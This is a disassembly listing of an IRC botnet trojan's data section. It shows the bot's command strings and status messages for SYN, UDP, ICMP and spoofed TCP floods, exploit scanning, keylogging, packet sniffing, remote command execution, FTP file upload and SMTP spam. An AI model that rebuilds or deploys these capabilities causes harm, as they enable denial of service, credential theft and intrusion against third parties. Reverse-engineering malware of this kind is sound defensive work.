		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4369EC	db    2			; DATA XREF: sub_40EE72+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_436A38	db    2			; DATA XREF: sub_40EE72+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_436A78	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AF9o
					; sub_40EE72:loc_413962o
		dd 0BBBB0220h, 2002h
unk_436A94	db    2			; DATA XREF: sub_40EE72+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_436AC8	db    2			; DATA XREF: sub_40EE72:loc_412ABFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_436B10	db    2			; DATA XREF: sub_40EE72+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436B58	db    2			; DATA XREF: sub_40EE72+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_436B94	db    2			; DATA XREF: sub_40EE72+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_436BDC	db    2			; DATA XREF: sub_40EE72+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_436C1C	db    2			; DATA XREF: sub_40EE72+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436C64	db    2			; DATA XREF: sub_40EE72+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_436CA4	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CEC	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_436D28	db    2			; DATA XREF: sub_40EE72+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_436D78	db    2			; DATA XREF: sub_40EE72+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_436DB4	db    2			; DATA XREF: sub_40EE72+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_436E08	db    2			; DATA XREF: sub_40EE72+36AEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436E54	db    2			; DATA XREF: sub_40EE72+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436EA0	db    2			; DATA XREF: sub_40EE72+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3430o
		align 4
dword_436F0C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A2o
					; sub_40EE72+43EFo
unk_436F18	db    2			; DATA XREF: sub_40EE72+3340o
					; sub_40EE72+5177o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436F60	db    2			; DATA XREF: sub_40EE72+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A6o
					; sub_40EE72+50DBo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+329Fo
					; sub_40EE72+50D4o
		align 4
unk_436FE4	db    2			; DATA XREF: sub_40EE72+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_437028	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F1Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_437074	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_4370BC	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_43712C	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_437174	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_4371CC	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_437214	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43725C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_4372B0	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4372E8	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_437324	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_43739C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_4373F4	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__1:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 10h
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU_0:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 10h
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 10h
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 10h
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 4
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 10h
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 10h
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 10h
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 10h
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_437740	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_43776C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_43779C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4377C8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 10h
dword_437800	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 10h
dword_437830	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 10h
dword_437880	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_4378B0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4378E4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_437934	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 10h
unk_437980	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4379B0	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 10h
unk_4379E0	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_437A1C	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 4
unk_437A74	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_437AAC	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_437AF8	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_437B44	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_437B84	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 10h
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 10h
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 4
